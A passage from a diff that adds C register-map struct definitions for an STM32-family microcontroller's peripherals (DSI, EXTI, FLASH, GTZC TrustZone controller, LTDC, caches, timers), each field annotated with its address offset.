Register, Address offset: 0x5C */ + __IO uint32_t VVACR; /*!< DSI Host Video VA Configuration Register, Address offset: 0x60 */ + __IO uint32_t LCCR; /*!< DSI Host LTDC Command Configuration Register, Address offset: 0x64 */ + __IO uint32_t CMCR; /*!< DSI Host Command Mode Configuration Register, Address offset: 0x68 */ + __IO uint32_t GHCR; /*!< DSI Host Generic Header Configuration Register, Address offset: 0x6C */ + __IO uint32_t GPDR; /*!< DSI Host Generic Payload Data Register, Address offset: 0x70 */ + __IO uint32_t GPSR; /*!< DSI Host Generic Packet Status Register, Address offset: 0x74 */ + __IO uint32_t TCCR[6]; /*!< DSI Host Timeout Counter Configuration Register, Address offset: 0x78-0x8F */ + uint32_t RESERVED1; /*!< Reserved, 0x90 */ + __IO uint32_t CLCR; /*!< DSI Host Clock Lane Configuration Register, Address offset: 0x94 */ + __IO uint32_t CLTCR; /*!< DSI Host Clock Lane Timer Configuration Register, Address offset: 0x98 */ + __IO uint32_t DLTCR; /*!< DSI Host Data Lane Timer Configuration Register, Address offset: 0x9C */ + __IO uint32_t PCTLR; /*!< DSI Host PHY Control Register, Address offset: 0xA0 */ + __IO uint32_t PCONFR; /*!< DSI Host PHY Configuration Register, Address offset: 0xA4 */ + __IO uint32_t PUCR; /*!< DSI Host PHY ULPS Control Register, Address offset: 0xA8 */ + __IO uint32_t PTTCR; /*!< DSI Host PHY TX Triggers Configuration Register, Address offset: 0xAC */ + __IO uint32_t PSR; /*!< DSI Host PHY Status Register, Address offset: 0xB0 */ + uint32_t RESERVED2[2]; /*!< Reserved, 0xB4 - 0xBB */ + __IO uint32_t ISR[2]; /*!< DSI Host Interrupt & Status Register, Address offset: 0xBC-0xC3 */ + __IO uint32_t IER[2]; /*!< DSI Host Interrupt Enable Register, Address offset: 0xC4-0xCB */ + uint32_t RESERVED3[3]; /*!< Reserved, 0xD0 - 0xD7 */ + __IO uint32_t FIR[2]; /*!< DSI Host Force Interrupt Register, Address offset: 0xD8-0xDF */ + uint32_t RESERVED4[5]; /*!< Reserved, 0xE0 - 0xF3 */ + __IO uint32_t DLTRCR; /*!< DSI Host Data Lane Timer Read Configuration Register, Address offset: 0xF4 */ + uint32_t RESERVED5[2]; /*!< Reserved, 0xF8 - 0xFF */ + __IO uint32_t VSCR; /*!< DSI Host Video Shadow Control Register, Address offset: 0x100 */ + uint32_t RESERVED6[2]; /*!< Reserved, 0x104 - 0x10B */ + __IO uint32_t LCVCIDR; /*!< DSI Host LTDC Current VCID Register, Address offset: 0x10C */ + __IO uint32_t LCCCR; /*!< DSI Host LTDC Current Color Coding Register, Address offset: 0x110 */ + uint32_t RESERVED7; /*!< Reserved, 0x114 */ + __IO uint32_t LPMCCR; /*!< DSI Host Low-power Mode Current Configuration Register, Address offset: 0x118 */ + uint32_t RESERVED8[7]; /*!< Reserved, 0x11C - 0x137 */ + __IO uint32_t VMCCR; /*!< DSI Host Video Mode Current Configuration Register, Address offset: 0x138 */ + __IO uint32_t VPCCR; /*!< DSI Host Video Packet Current Configuration Register, Address offset: 0x13C */ + __IO uint32_t VCCCR; /*!< DSI Host Video Chunks Current Configuration Register, Address offset: 0x140 */ + __IO uint32_t VNPCCR; /*!< DSI Host Video Null Packet Current Configuration Register, Address offset: 0x144 */ + __IO uint32_t VHSACCR; /*!< DSI Host Video HSA Current Configuration Register, Address offset: 0x148 */ + __IO uint32_t VHBPCCR; /*!< DSI Host Video HBP Current Configuration Register, Address offset: 0x14C */ + __IO uint32_t VLCCR; /*!< DSI Host Video Line Current Configuration Register, Address offset: 0x150 */ + __IO uint32_t VVSACCR; /*!< DSI Host Video VSA Current Configuration Register, Address offset: 0x154 */ + __IO uint32_t VVBPCCR; /*!< DSI Host Video VBP Current Configuration Register, Address offset: 0x158 */ + __IO uint32_t VVFPCCR; /*!< DSI Host Video VFP Current Configuration Register, Address offset: 0x15C */ + __IO uint32_t VVACCR; /*!< DSI Host Video VA Current Configuration Register, Address offset: 0x160 */ + uint32_t RESERVED9; /*!< Reserved, 0x164 */ + __IO uint32_t FBSR; /*!< DSI Host FIFO and Buffer Status Register, Address offset: 0x168 */ + uint32_t RESERVED10[165];/*!< Reserved, 0x16C - 0x3FF */ + __IO uint32_t WCFGR; /*!< DSI Wrapper Configuration Register, Address offset: 0x400 */ + __IO uint32_t WCR; /*!< DSI Wrapper Control Register, Address offset: 0x404 */ + __IO uint32_t WIER; /*!< DSI Wrapper Interrupt Enable Register, Address offset: 0x408 */ + __IO uint32_t WISR; /*!< DSI Wrapper Interrupt and Status Register, Address offset: 0x40C */ + __IO uint32_t WIFCR; /*!< DSI Wrapper Interrupt Flag Clear Register, Address offset: 0x410 */ + uint32_t RESERVED11; /*!< Reserved, 0x414 */ + __IO uint32_t WPCR[1]; /*!< DSI Wrapper PHY Configuration Register 0, Address offset: 0x418 */ + uint32_t RESERVED12[5]; /*!< Reserved, 0x41C - 0x42F */ + __IO uint32_t WRPCR; /*!< DSI Wrapper Regulator and PLL Control Register, Address offset: 0x430 */ + uint32_t WPTR; /*!< DSI Wrapper PLL tuning register, Address offset: 0x434 */ + uint32_t RESERVED13[244];/*!< Reserved, 0x43C - 0x804 */ + __IO uint32_t BCFGR; /*!< DSI Bias Configuration Register, Address offset: 0x808 */ + uint32_t RESERVED14[254];/*!< Reserved, 0x80C - 0xC00 */ + __IO uint32_t DPCBCR; /*!< D-PHY clock band control register, Address offset: 0xC04 */ + uint32_t RESERVED15[11]; /*!< Reserved, 0xC08 - 0xC30 */ + __IO uint32_t DPCSRCR; /*!< D-PHY clock slew rate control register, Address offset: 0xC34 */ + uint32_t RESERVED16[9]; /*!< Reserved, 0xC38 - 0xC58 */ + __IO uint32_t DPDL0HSOCR; /*!< D-PHY data Lane 0 HS offset control register, Address offset: 0x0C5C */ + __IO uint32_t DPDL0LPXOCR; /*!< D-PHY data Lane 0 HS LPX offset control register, Address offset: 0x0C60 */ + uint32_t RESERVED17[3]; /*!< Reserved, 0xC64-0xC6C */ + __IO uint32_t DPDL0BCR; /*!< D-PHY data Lane0 band control register, Address offset: 0x0C70 */ + uint32_t RESERVED18[11]; /*!< Reserved, 0xC74 - 0xC9C */ + __IO uint32_t DPDL0SRCR; /*!< D-PHY data Lane0 slew rate control register, Address offset: 0x0CA0 */ + uint32_t RESERVED19[20]; /*!< Reserved, 0xCA4 - 0xD04 */ + __IO uint32_t DPDL1HSOCR; /*!< D-PHY data Lane 1 HS offset control register, Address offset: 0x0CF4 */ + __IO uint32_t DPDL1LPXOCR; /*!< D-PHY data Lane 1 HS LPX offset control register, Address offset: 0x0CF8 */ + uint32_t RESERVED20[3]; /*!< Reserved, 0xCF8 - 0xD04 */ + __IO uint32_t DPDL1BCR; /*!< D-PHY data Lane1 band control register, Address offset: 0x0D08 */ + uint32_t RESERVED21[11]; /*!< Reserved, 0xD0C - 0xD34 */ + __IO uint32_t DPDL1SRCR; /*!< D-PHY data Lane1 slew rate control register, Address Offset: 0x0D38 */ +} DSI_TypeDef; + +/** + * @brief Asynch Interrupt/Event Controller (EXTI) + */ +typedef struct +{ + __IO uint32_t RTSR1; /*!< EXTI Rising Trigger Selection Register 1, Address offset: 0x00 */ + __IO uint32_t FTSR1; /*!< EXTI Falling Trigger Selection Register 1, Address offset: 0x04 */ + __IO uint32_t SWIER1; /*!< EXTI Software Interrupt event Register 1, Address offset: 0x08 */ + __IO uint32_t RPR1; /*!< EXTI Rising Pending Register 1, Address offset: 0x0C */ + __IO uint32_t FPR1; /*!< EXTI Falling Pending Register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR1; /*!< EXTI Security Configuration Register 1, Address offset: 0x14 */ + __IO uint32_t PRIVCFGR1; /*!< EXTI Privilege Configuration Register 1, Address offset: 0x18 */ + uint32_t RESERVED1[17]; /*!< Reserved 1, 0x1C -- 0x5C */ + __IO uint32_t EXTICR[4]; /*!< EXIT External Interrupt Configuration Register, 0x60 -- 0x6C */ + __IO uint32_t LOCKR; /*!< EXTI Lock Register, Address offset: 0x70 */ + uint32_t RESERVED2[3]; /*!< Reserved 2, 0x74 -- 0x7C */ + __IO uint32_t IMR1; /*!< EXTI Interrupt Mask Register 1, Address offset: 0x80 */ + __IO uint32_t EMR1; /*!< EXTI Event Mask Register 1, Address offset: 0x84 */ +} EXTI_TypeDef; + +/** + * @brief FLASH Registers + */ +typedef struct +{ + __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ + uint32_t RESERVED1; /*!< Reserved1, Address offset: 0x04 */ + __IO uint32_t NSKEYR; /*!< FLASH non-secure key register, Address offset: 0x08 */ + __IO uint32_t SECKEYR; /*!< FLASH secure key register, Address offset: 0x0C */ + __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x10 */ + __IO uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x14 */ + __IO uint32_t PDKEY1R; /*!< FLASH Bank 1 power-down key register, Address offset: 0x18 */ + __IO uint32_t PDKEY2R; /*!< FLASH Bank 2 power-down key register, Address offset: 0x1C */ + __IO uint32_t NSSR; /*!< FLASH non-secure status register, Address offset: 0x20 */ + __IO uint32_t SECSR; /*!< FLASH secure status register, Address offset: 0x24 */ + __IO uint32_t NSCR; /*!< FLASH non-secure control register, Address offset: 0x28 */ + __IO uint32_t SECCR; /*!< FLASH secure control register, Address offset: 0x2C */ + __IO uint32_t ECCR; /*!< FLASH ECC register, Address offset: 0x30 */ + __IO uint32_t OPSR; /*!< FLASH OPSR register, Address offset: 0x34 */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x38-0x3C */ + __IO uint32_t OPTR; /*!< FLASH option control register, Address offset: 0x40 */ + __IO uint32_t NSBOOTADD0R; /*!< FLASH non-secure boot address 0 register, Address offset: 0x44 */ + __IO uint32_t NSBOOTADD1R; /*!< FLASH non-secure boot address 1 register, Address offset: 0x48 */ + __IO uint32_t SECBOOTADD0R; /*!< FLASH secure boot address 0 register, Address offset: 0x4C */ + __IO uint32_t SECWM1R1; /*!< FLASH secure watermark1 register 1, Address offset: 0x50 */ + __IO uint32_t SECWM1R2; /*!< FLASH secure watermark1 register 2, Address offset: 0x54 */ + __IO uint32_t WRP1AR; /*!< FLASH WRP1 area A address register, Address offset: 0x58 */ + __IO uint32_t WRP1BR; /*!< FLASH WRP1 area B address register, Address offset: 0x5C */ + __IO uint32_t SECWM2R1; /*!< FLASH secure watermark2 register 1, Address offset: 0x60 */ + __IO uint32_t SECWM2R2; /*!< FLASH secure watermark2 register 2, Address offset: 0x64 */ + __IO uint32_t WRP2AR; /*!< FLASH WRP2 area A address register, Address offset: 0x68 */ + __IO uint32_t WRP2BR; /*!< FLASH WRP2 area B address register, Address offset: 0x6C */ + __IO uint32_t OEM1KEYR1; /*!< FLASH OEM1 key register 1, Address offset: 0x70 */ + __IO uint32_t OEM1KEYR2; /*!< FLASH OEM1 key register 2, Address offset: 0x74 */ + __IO uint32_t OEM2KEYR1; /*!< FLASH OEM2 key register 1, Address offset: 0x78 */ + __IO uint32_t OEM2KEYR2; /*!< FLASH OEM2 key register 2, Address offset: 0x7C */ + __IO uint32_t SECBB1R1; /*!< FLASH secure block-based bank 1 register 1, Address offset: 0x80 */ + __IO uint32_t SECBB1R2; /*!< FLASH secure block-based bank 1 register 2, Address offset: 0x84 */ + __IO uint32_t SECBB1R3; /*!< FLASH secure block-based bank 1 register 3, Address offset: 0x88 */ + __IO uint32_t SECBB1R4; /*!< FLASH secure block-based bank 1 register 4, Address offset: 0x8C */ + __IO uint32_t SECBB1R5; /*!< FLASH secure block-based bank 1 register 5, Address offset: 0x90 */ + __IO uint32_t SECBB1R6; /*!< FLASH secure block-based bank 1 register 6, Address offset: 0x94 */ + __IO uint32_t SECBB1R7; /*!< FLASH secure block-based bank 1 register 7, Address offset: 0x98 */ + __IO uint32_t SECBB1R8; /*!< FLASH secure block-based bank 1 register 8, Address offset: 0x9C */ + __IO uint32_t SECBB2R1; /*!< FLASH secure block-based bank 2 register 1, Address offset: 0xA0 */ + __IO uint32_t SECBB2R2; /*!< FLASH secure block-based bank 2 register 2, Address offset: 0xA4 */ + __IO uint32_t SECBB2R3; /*!< FLASH secure block-based bank 2 register 3, Address offset: 0xA8 */ + __IO uint32_t SECBB2R4; /*!< FLASH secure block-based bank 2 register 4, Address offset: 0xAC */ + __IO uint32_t SECBB2R5; /*!< FLASH secure block-based bank 2 register 5, Address offset: 0xB0 */ + __IO uint32_t SECBB2R6; /*!< FLASH secure block-based bank 2 register 6, Address offset: 0xB4 */ + __IO uint32_t SECBB2R7; /*!< FLASH secure block-based bank 2 register 7, Address offset: 0xB8 */ + __IO uint32_t SECBB2R8; /*!< FLASH secure block-based bank 2 register 8, Address offset: 0xBC */ + __IO uint32_t SECHDPCR; /*!< FLASH secure HDP control register, Address offset: 0xC0 */ + __IO uint32_t PRIVCFGR; /*!< FLASH privilege configuration register, Address offset: 0xC4 */ + uint32_t RESERVED6[2]; /*!< Reserved6, Address offset: 0xC8-0xCC */ + __IO uint32_t PRIVBB1R1; /*!< FLASH privilege block-based bank 1 register 1, Address offset: 0xD0 */ + __IO uint32_t PRIVBB1R2; /*!< FLASH privilege block-based bank 1 register 2, Address offset: 0xD4 */ + __IO uint32_t PRIVBB1R3; /*!< FLASH privilege block-based bank 1 register 3, Address offset: 0xD8 */ + __IO uint32_t PRIVBB1R4; /*!< FLASH privilege block-based bank 1 register 4, Address offset: 0xDC */ + __IO uint32_t PRIVBB1R5; /*!< FLASH privilege block-based bank 1 register 5, Address offset: 0xE0 */ + __IO uint32_t PRIVBB1R6; /*!< FLASH privilege block-based bank 1 register 6, Address offset: 0xE4 */ + __IO uint32_t PRIVBB1R7; /*!< FLASH privilege block-based bank 1 register 7, Address offset: 0xE8 */ + __IO uint32_t PRIVBB1R8; /*!< FLASH privilege block-based bank 1 register 8, Address offset: 0xEC */ + __IO uint32_t PRIVBB2R1; /*!< FLASH privilege block-based bank 2 register 1, Address offset: 0xF0 */ + __IO uint32_t PRIVBB2R2; /*!< FLASH privilege block-based bank 2 register 2, Address offset: 0xF4 */ + __IO uint32_t PRIVBB2R3; /*!< FLASH privilege block-based bank 2 register 3, Address offset: 0xF8 */ + __IO uint32_t PRIVBB2R4; /*!< FLASH privilege block-based bank 2 register 4, Address offset: 0xFC */ + __IO uint32_t PRIVBB2R5; /*!< FLASH privilege block-based bank 2 register 5, Address offset: 0x100 */ + __IO uint32_t PRIVBB2R6; /*!< FLASH privilege block-based bank 2 register 6, Address offset: 0x104 */ + __IO uint32_t PRIVBB2R7; /*!< FLASH privilege block-based bank 2 register 7, Address offset: 0x108 */ + __IO uint32_t PRIVBB2R8; /*!< FLASH privilege block-based bank 2 register 8, Address offset: 0x10C */ +} FLASH_TypeDef; + +/** + * @brief FMAC + */ +typedef struct +{ + __IO uint32_t X1BUFCFG; /*!< FMAC X1 Buffer Configuration register, Address offset: 0x00 */ + __IO uint32_t X2BUFCFG; /*!< FMAC X2 Buffer Configuration register, Address offset: 0x04 */ + __IO uint32_t YBUFCFG; /*!< FMAC Y Buffer Configuration register, Address offset: 0x08 */ + __IO uint32_t PARAM; /*!< FMAC Parameter register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< FMAC Control register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< FMAC Status register, Address offset: 0x14 */ + __IO uint32_t WDATA; /*!< FMAC Write Data register, Address offset: 0x18 */ + __IO uint32_t RDATA; /*!< FMAC Read Data register, Address offset: 0x1C */ +} FMAC_TypeDef; + +/** + * @brief GFXMMU registers + */ +typedef struct +{ + __IO uint32_t CR; /*!< GFXMMU configuration register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< GFXMMU status register, Address offset: 0x04 */ + __IO uint32_t FCR; /*!< GFXMMU flag clear register, Address offset: 0x08 */ + __IO uint32_t CCR; /*!< GFXMMU Cache Control Register, Address offset: 0x0C */ + __IO uint32_t DVR; /*!< GFXMMU default value register, Address offset: 0x10 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x14 to 0x1C */ + __IO uint32_t B0CR; /*!< GFXMMU buffer 0 configuration register, Address offset: 0x20 */ + __IO uint32_t B1CR; /*!< GFXMMU buffer 1 configuration register, Address offset: 0x24 */ + __IO uint32_t B2CR; /*!< GFXMMU buffer 2 configuration register, Address offset: 0x28 */ + __IO uint32_t B3CR; /*!< GFXMMU buffer 3 configuration register, Address offset: 0x2C */ + uint32_t RESERVED2[1008]; /*!< Reserved2, Address offset: 0x30 to 0xFEC */ + __IO uint32_t HWCFGR; /*!< GFXMMU hardware configuration register, Address offset: 0xFF0 */ + __IO uint32_t VERR; /*!< GFXMMU version register, Address offset: 0xFF4 */ + __IO uint32_t IPIDR; /*!< GFXMMU identification register, Address offset: 0xFF8 */ + __IO uint32_t SIDR; /*!< GFXMMU size identification register, Address offset: 0xFFC */ + __IO uint32_t LUT[2048]; /*!< GFXMMU LUT registers, Address offset: 0x1000 to 0x2FFC + For LUT line i, LUTiL = LUT[2*i] and LUTiH = LUT[(2*i)+1] */ +} GFXMMU_TypeDef; + +/** + * @brief General Purpose I/O + */ +typedef struct +{ + __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ + __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ + __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ + __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ + __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ + __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ + __IO uint32_t BSRR; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ + __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ + __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address offset: 0x20-0x24 */ + __IO uint32_t BRR; /*!< GPIO Bit Reset register, Address offset: 0x28 */ + __IO uint32_t HSLVR; /*!< GPIO high-speed low voltage register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< GPIO secure configuration register, Address offset: 0x30 */ +} GPIO_TypeDef; + +/** + * @brief Global TrustZone Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< TZSC control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t SECCFGR1; /*!< TZSC secure configuration register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR2; /*!< TZSC secure configuration register 2, Address offset: 0x14 */ + __IO uint32_t SECCFGR3; /*!< TZSC secure configuration register 3, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x1C */ + __IO uint32_t PRIVCFGR1; /*!< TZSC privilege configuration register 1, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR2; /*!< TZSC privilege configuration register 2, Address offset: 0x24 */ + __IO uint32_t PRIVCFGR3; /*!< TZSC privilege configuration register 3, Address offset: 0x28 */ + uint32_t RESERVED3[5]; /*!< Reserved3, Address offset: 0x2C-0x3C */ + __IO uint32_t MPCWM1ACFGR; /*!< TZSC memory 1 sub-region A watermark configuration register, Address offset: 0x40 */ + __IO uint32_t MPCWM1AR; /*!< TZSC memory 1 sub-region A watermark register, Address offset: 0x44 */ + __IO uint32_t MPCWM1BCFGR; /*!< TZSC memory 1 sub-region B watermark configuration register, Address offset: 0x48 */ + __IO uint32_t MPCWM1BR; /*!< TZSC memory 1 sub-region B watermark register, Address offset: 0x4C */ + __IO uint32_t MPCWM2ACFGR; /*!< TZSC memory 2 sub-region A watermark configuration register, Address offset: 0x50 */ + __IO uint32_t MPCWM2AR; /*!< TZSC memory 2 sub-region A watermark register, Address offset: 0x54 */ + __IO uint32_t MPCWM2BCFGR; /*!< TZSC memory 2 sub-region B watermark configuration register, Address offset: 0x58 */ + __IO uint32_t MPCWM2BR; /*!< TZSC memory 2 sub-region B watermark register, Address offset: 0x5C */ + __IO uint32_t MPCWM3ACFGR; /*!< TZSC memory 3 sub-region A watermark configuration register, Address offset: 0x60 */ + __IO uint32_t MPCWM3AR; /*!< TZSC memory 3 sub-region A watermark register, Address offset: 0x64 */ + uint32_t RESERVED4[2]; /*!< Reserved4, Address offset: 0x68-0x6C */ + __IO uint32_t MPCWM4ACFGR; /*!< TZSC memory 4 sub-region A watermark configuration register, Address offset: 0x70 */ + __IO uint32_t MPCWM4AR; /*!< TZSC memory 4 sub-region A watermark register, Address offset: 0x74 */ + uint32_t RESERVED5[2]; /*!< Reserved5, Address offset: 0x78-0x7C */ + __IO uint32_t MPCWM5ACFGR; /*!< TZSC memory 5 sub-region A watermark configuration register, Address offset: 0x80 */ + __IO uint32_t MPCWM5AR; /*!< TZSC memory 5 sub-region A watermark register, Address offset: 0x84 */ + __IO uint32_t MPCWM5BCFGR; /*!< TZSC memory 5 sub-region B watermark configuration register, Address offset: 0x88 */ + __IO uint32_t MPCWM5BR; /*!< TZSC memory 5 sub-region B watermark register, Address offset: 0x8C */ + __IO uint32_t MPCWM6ACFGR; /*!< TZSC memory 6 sub-region A watermark configuration register, Address offset: 0x90 */ + __IO uint32_t MPCWM6AR; /*!< TZSC memory 6 sub-region A watermark register, Address offset: 0x94 */ + __IO uint32_t MPCWM6BCFGR; /*!< TZSC memory 6 sub-region B watermark configuration register, Address offset: 0x98 */ + __IO uint32_t MPCWM6BR; /*!< TZSC memory 6 sub-region B watermark register, Address offset: 0x9C */ +} GTZC_TZSC_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< MPCBBx control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t CFGLOCKR1; /*!< MPCBBx Configuration lock register 1, Address offset: 0x10 */ + __IO uint32_t CFGLOCKR2; /*!< MPCBBx Configuration lock register 2, Address offset: 0x14 */ + uint32_t RESERVED2[58]; /*!< Reserved2, Address offset: 0x18-0xFC */ + __IO uint32_t SECCFGR[52]; /*!< MPCBBx security configuration registers, Address offset: 0x100-0x1CC */ + uint32_t RESERVED3[12]; /*!< Reserved3, Address offset: 0x1D0-0x1FC */ + __IO uint32_t PRIVCFGR[52]; /*!< MPCBBx privilege configuration registers, Address offset: 0x200-0x2CC */ +} GTZC_MPCBB_TypeDef; + +typedef struct +{ + __IO uint32_t IER1; /*!< TZIC interrupt enable register 1, Address offset: 0x00 */ + __IO uint32_t IER2; /*!< TZIC interrupt enable register 2, Address offset: 0x04 */ + __IO uint32_t IER3; /*!< TZIC interrupt enable register 3, Address offset: 0x08 */ + __IO uint32_t IER4; /*!< TZIC interrupt enable register 4, Address offset: 0x0C */ + __IO uint32_t SR1; /*!< TZIC status register 1, Address offset: 0x10 */ + __IO uint32_t SR2; /*!< TZIC status register 2, Address offset: 0x14 */ + __IO uint32_t SR3; /*!< TZIC status register 3, Address offset: 0x18 */ + __IO uint32_t SR4; /*!< TZIC status register 4, Address offset: 0x1C */ + __IO uint32_t FCR1; /*!< TZIC flag clear register 1, Address offset: 0x20 */ + __IO uint32_t FCR2; /*!< TZIC flag clear register 2, Address offset: 0x24 */ + __IO uint32_t FCR3; /*!< TZIC flag clear register 3, Address offset: 0x28 */ + __IO uint32_t FCR4; /*!< TZIC flag clear register 3, Address offset: 0x2C */ +} GTZC_TZIC_TypeDef; + +/** + * @brief LCD-TFT Display Controller + */ +typedef struct +{ + uint32_t RESERVED0[2]; /*!< Reserved, 0x00-0x04 */ + __IO uint32_t SSCR; /*!< LTDC Synchronization Size Configuration Register, Address offset: 0x08 */ + __IO uint32_t BPCR; /*!< LTDC Back Porch Configuration Register, Address offset: 0x0C */ + __IO uint32_t AWCR; /*!< LTDC Active Width Configuration Register, Address offset: 0x10 */ + __IO uint32_t TWCR; /*!< LTDC Total Width Configuration Register, Address offset: 0x14 */ + __IO uint32_t GCR; /*!< LTDC Global Control Register, Address offset: 0x18 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x1C-0x20 */ + __IO uint32_t SRCR; /*!< LTDC Shadow Reload Configuration Register, Address offset: 0x24 */ + uint32_t RESERVED2[1]; /*!< Reserved, 0x28 */ + __IO uint32_t BCCR; /*!< LTDC Background Color Configuration Register, Address offset: 0x2C */ + uint32_t RESERVED3[1]; /*!< Reserved, 0x30 */ + __IO uint32_t IER; /*!< LTDC Interrupt Enable Register, Address offset: 0x34 */ + __IO uint32_t ISR; /*!< LTDC Interrupt Status Register, Address offset: 0x38 */ + __IO uint32_t ICR; /*!< LTDC Interrupt Clear Register, Address offset: 0x3C */ + __IO uint32_t LIPCR; /*!< LTDC Line Interrupt Position Configuration Register, Address offset: 0x40 */ + __IO uint32_t CPSR; /*!< LTDC Current Position Status Register, Address offset: 0x44 */ + __IO uint32_t CDSR; /*!< LTDC Current Display Status Register, Address offset: 0x48 */ +} LTDC_TypeDef; + +/** + * @brief LCD-TFT Display layer x Controller + */ + +typedef struct +{ + __IO uint32_t CR; /*!< LTDC Layerx Control Register Address offset: 0x84 */ + __IO uint32_t WHPCR; /*!< LTDC Layerx Window Horizontal Position Configuration Register Address offset: 0x88 */ + __IO uint32_t WVPCR; /*!< LTDC Layerx Window Vertical Position Configuration Register Address offset: 0x8C */ + __IO uint32_t CKCR; /*!< LTDC Layerx Color Keying Configuration Register Address offset: 0x90 */ + __IO uint32_t PFCR; /*!< LTDC Layerx Pixel Format Configuration Register Address offset: 0x94 */ + __IO uint32_t CACR; /*!< LTDC Layerx Constant Alpha Configuration Register Address offset: 0x98 */ + __IO uint32_t DCCR; /*!< LTDC Layerx Default Color Configuration Register Address offset: 0x9C */ + __IO uint32_t BFCR; /*!< LTDC Layerx Blending Factors Configuration Register Address offset: 0xA0 */ + uint32_t RESERVED0[2]; /*!< Reserved */ + __IO uint32_t CFBAR; /*!< LTDC Layerx Color Frame Buffer Address Register Address offset: 0xAC */ + __IO uint32_t CFBLR; /*!< LTDC Layerx Color Frame Buffer Length Register Address offset: 0xB0 */ + __IO uint32_t CFBLNR; /*!< LTDC Layerx ColorFrame Buffer Line Number Register Address offset: 0xB4 */ + uint32_t RESERVED1[3]; /*!< Reserved */ + __IO uint32_t CLUTWR; /*!< LTDC Layerx CLUT Write Register Address offset: 0x144 */ + +} LTDC_Layer_TypeDef; + +/** + * @brief Instruction Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< ICACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< ICACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< ICACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< ICACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t HMONR; /*!< ICACHE hit monitor register, Address offset: 0x10 */ + __IO uint32_t MMONR; /*!< ICACHE miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t CRR0; /*!< ICACHE region 0 configuration register, Address offset: 0x20 */ + __IO uint32_t CRR1; /*!< ICACHE region 1 configuration register, Address offset: 0x24 */ + __IO uint32_t CRR2; /*!< ICACHE region 2 configuration register, Address offset: 0x28 */ + __IO uint32_t CRR3; /*!< ICACHE region 3 configuration register, Address offset: 0x2C */ +} ICACHE_TypeDef; + +/** + * @brief Data Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< DCACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< DCACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t RHMONR; /*!< DCACHE Read hit monitor register, Address offset: 0x10 */ + __IO uint32_t RMMONR; /*!< DCACHE Read miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WHMONR; /*!< DCACHE Write hit monitor register, Address offset: 0x20 */ + __IO uint32_t WMMONR; /*!< DCACHE Write miss monitor register, Address offset: 0x24 */ + __IO uint32_t CMDRSADDRR; /*!< DCACHE Command Start Address register, Address offset: 0x28 */ + __IO uint32_t CMDREADDRR; /*!< DCACHE Command End Address register, Address offset: 0x2C */ +} DCACHE_TypeDef; + +/** + * @brief PSSI + */ +typedef struct +{ + __IO uint32_t CR; /*!< PSSI control register, Address offset: 0x000 */ + __IO uint32_t SR; /*!< PSSI status register, Address offset: 0x004 */ + __IO uint32_t RIS; /*!< PSSI raw interrupt status register, Address offset: 0x008 */ + __IO uint32_t IER; /*!< PSSI interrupt enable register, Address offset: 0x00C */ + __IO uint32_t MIS; /*!< PSSI masked interrupt status register, Address offset: 0x010 */ + __IO uint32_t ICR; /*!< PSSI interrupt clear register, Address offset: 0x014 */ + __IO uint32_t RESERVED1[4]; /*!< Reserved, 0x018 - 0x024 */ + __IO uint32_t DR; /*!< PSSI data register, Address offset: 0x028 */ +} PSSI_TypeDef; + +/** + * @brief TIM + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ + __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ + __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ + __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ + __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ + __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ + __IO uint32_t CCMR2; /*!< TIM capture/compare mode register 2, Address offset: 0x1C */ + __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ + __IO uint32_t 